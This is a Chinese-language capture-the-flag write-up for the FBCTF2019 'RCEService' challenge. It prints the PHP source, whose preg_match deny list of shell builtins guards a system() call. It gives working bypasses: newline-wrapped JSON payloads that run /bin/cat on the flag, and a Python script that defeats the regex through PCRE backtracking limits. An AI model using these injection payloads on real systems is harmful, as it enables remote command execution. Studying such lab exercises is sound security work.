[FBCTF2019]RCEService

[FBCTF2019]RCEService

打开环境,提示输入JSON格式

LeIhGo-nE95ADXAMxumyf4XppyqJ-ArW3DOQblGSdUs

输入 {"cmd":"ls"},只有一个index,php,而且不能读取

nFk2Z9RhgKjGLpArV2lnifUwOIEI7oD_bYcUAHZI4Og

到这卡住了,找了师傅们的WP发现源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

代码中使用putenv('PATH=/home/rceservice/jail'); 配置系统环境变量,而我们用不了 cat 也有可能是在这个环境变量下没有这个二进制文件。我们可以直接使用/bin/cat 来调用cat命令。

Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

1.多行绕过preg_match 来解题

因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过

我们使用payload

{%0A"cmd":"ls /"%0A} (%A是换行)

得到回显ls一个文件,这也再一次说明当前环境下有ls命令,没有其它命令。

OFT_rCqXdN1AOHymmzh8amxC_j79Kban2U169mxsJUk

{%0A"cmd":"ls /home"%0A}

3sPnnWyWlSfsls4d3dRoOxP8yYqT1rN9OnPUtB14blc

{%0A"cmd":"ls /home/rceservice"%0A}

gtOI2fZLXuGtEt77eR14l726HDQSQPj5r44ipL9aH_M

{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

CV_7WnzVeR53Z9_SUkDwyRHTbVnAFKUIfWyu3VmaFdA

2.利用PCRE回溯来绕过 preg_match

先了解一下什么是PCRE回溯,参考资料https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

由上面的方法知道了,想要得到flag要访问/bin/cat /home/rceservice/flag 。

根据PCRE回溯的方法解题,需要用POST发送请求,因为GET会因为头太大报错。

414 Request-URI Too Large

所以我们使用的脚本如下:

import requests
### 不知道为啥这里用 || 不可以执行我们的命令
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' ##超过一百万,这里写一千万不会出结果。

res = requests.post("http://1bbdd0fb-cfec-4162-92d7-1a60857313e9.node5.buuoj.cn:81/", data={"cmd":payload})
print(res.text)

GSM_VTL4GHmn017aKCXPjS7fqUqDIqHn_OUsy8Td2wA

posted on 2024-04-29 08:46  跳河离去的鱼  阅读(8)  评论(0编辑  收藏  举报